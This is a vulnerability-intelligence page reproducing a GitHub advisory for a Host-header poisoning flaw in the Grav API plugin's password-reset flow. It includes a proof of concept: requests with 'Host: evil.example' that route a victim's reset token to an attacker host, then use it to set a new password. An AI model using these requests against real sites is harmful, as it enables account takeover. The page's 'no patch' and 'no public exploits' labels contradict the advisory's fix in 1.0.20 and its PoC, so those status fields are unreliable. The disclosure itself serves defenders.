llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · getgrav/grav-plugin-api

GHSA-262P-56VV-7V5R

Password reset links in the API plugin are built from the request Host header, allowing anonymous account takeover

Sin parche publicado
Descargar PNG JSON
CVSS 4.0
8.7
Alta
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición90 dDesde la divulgación, 21 ago 2026, 6:08 a. m.
Detección89 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
21 ago 26
18 nov 26
20 nov 26
21 ago 26
13 sept 26
5 oct 26
28 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-262P-56VV-7V5R divulgada · CVSS 8.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`POST /api/v1/auth/forgot-password` in the Grav API plugin builds the password-reset link in the outgoing email from the `Host` header of the incoming request. An unauthenticated attacker who sends a reset request for any account, with `Host` set to a domain they control, receives nothing themselves — but the victim's mailbox receives a reset email whose link points at the attacker's domain and carries a live, server-side-valid reset token. When the victim clicks, the attacker reads the token from their own access log and completes `POST /api/v1/auth/reset-password`, taking over the account. A super-admin mailbox is the obvious target, and yields full site control.

Affected versions

Grav API plugin (`getgrav/grav-plugin-api`) 1.0.19 and earlier, on Grav 2.0. Grav core itself is not affected — `Uri::rootUrl()` behaves as documented. Grav 1.7 is not affected: the API plugin requires Grav 2.0, and the Login plugin's own reset flow has carried the trusted-host protection since 3.9.2.

Preconditions: none beyond the deployment answering requests for arbitrary `Host` values, which is the behaviour of a default Apache/Nginx catch-all vhost. No account, no session, and no non-default Grav configuration is required. `system.reverse_proxy_setup` and the `system.http_x_forwarded.*` flags are not involved — they are all off by default, and plain `HTTP_HOST` is trusted regardless.

Details

`ResolvesAdminBaseUrl::resolveAdminBaseUrl()` accepts a client-supplied base URL (`admin_base_url` body field, then `Referer`, then `Origin`) only when its origin appears in an allowlist, and otherwise falls back to the server's own root URL. Both halves of that decision resolve to the same untrusted value:

  • `allowedAdminOrigins()` (`classes/Api/Controllers/ResolvesAdminBaseUrl.php:105`) seeds the allowlist with `normalizeOrigin($this->grav['uri']->rootUrl(true))`.
  • The last-resort fallback (`ResolvesAdminBaseUrl.php:44` and `:89`) is that same `rootUrl(true)`, annotated "never attacker-controlled".

`Uri::rootUrl(true)` returns `$this->root`, which is set to `$this->base . $this->root_path` whenever `system.custom_base_url` is unset — the default — and `$this->base` takes its host from `$_SERVER['HTTP_HOST']`.

Two consequences, and the second is the more important one:

  1. Supplying `admin_base_url: http://evil.example` together with `Host: evil.example` passes the allowlist, because the same request just seeded the allowlist with `evil.example`. This is the origin-allowlist hardening added for GHSA-5xc4-j99p-cp4m being anchored on an attacker-controlled value.
  2. No body field is required at all. With no `admin_base_url`, no `Referer` and no `Origin`, all three candidate branches are skipped and the function returns the fallback — which is the attacker's `Host`. The allowlist is not bypassed so much as bypassed *around*.

The link is then assembled with the token in the query string (`AuthController.php:346-348`), and that token is the sole credential `resetPassword()` requires.

Separately, the API plugin never consults the Login plugin's trusted-host protection. `Grav\Plugin\Login\Email::isTrustedHostConfigured()`, `warnIfUntrustedHost()` and the `require_trusted_host` enforcement in `refuseIfUntrustedHost()` guard every Login email flow — activation, reset, magic login, and invitation (the last added for GHSA-69vf-mjxw-x79j). None of them is called from `grav-plugin-api`. Its only references to `plugins.login.site_host` pass it to the email template as a display string. An operator who set Site Host, or who enabled Require Trusted Host, is not protected on this endpoint — which is the practical reach of the issue beyond the reset flow itself.

The same base-URL resolution also feeds invitation links and the SSO SPA base. Neither is remotely exploitable in the same way, but both are fixed by the same change.

The rest of the reset flow is sound: 16 bytes of entropy for the token, `hash_equals` and an expiry check on redemption, token invalidation on reset, and per-username rate limiting on the mail. The rate limit does not mitigate: one poisoned email is all the attack needs.

PoC
POST /api/v1/auth/forgot-password
Host: evil.example
Content-Type: application/json

{"email": "victim@example.com"}

-> 200 {"data":{"message":"If an account exists for that email, a reset link has been sent."}}

The victim's mailbox receives "Grav Password Reset Request" containing:

http://evil.example/reset?user=<victim>&token=66e4f3bf1aea9a88b2a56927c820c8db

The embedded token matches the `reset` value persisted in `user/accounts/<victim>.yaml`. After the victim clicks and the attacker reads the token from their access log:

POST /api/v1/auth/reset-password
Content-Type: application/json

{"username": "<victim>", "token": "66e4f3bf...", "password": "AttackerChosen123!"}

-> 200 {"data":{"message":"Password reset successfully."}}
Impact

An anonymous attacker can take over any account whose email address they know, including a super-admin, subject to the victim clicking the link in an email that genuinely came from the site. Against a super-admin this is full site compromise.

Patches

Fixed in API plugin 1.0.20. The base URL for reset, invitation and SSO links is now anchored on the operator-configured hostname — `system.custom_base_url`, else the Login plugin's `plugins.login.site_host` — instead of Grav's request-derived root URL, and these flows now honour the Login plugin's `require_trusted_host` setting, holding a link back rather than mailing a spoofable one.

Workaround for anyone unable to upgrade: set Custom Base URL in Grav's system configuration to your site's full address including the scheme, for example `https://example.com`. A value without a scheme does not mitigate.

Credits

Reported by @1K0CT, with a complete end-to-end proof of concept.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:N
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:P
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:H
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
getgrav/grav-plugin-api≤ 1.0.19
1.0.19
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistgetgrav/grav-plugin-api
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/getgrav/grav/security/advisories/GHSA-262p-56vv-7v5r

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.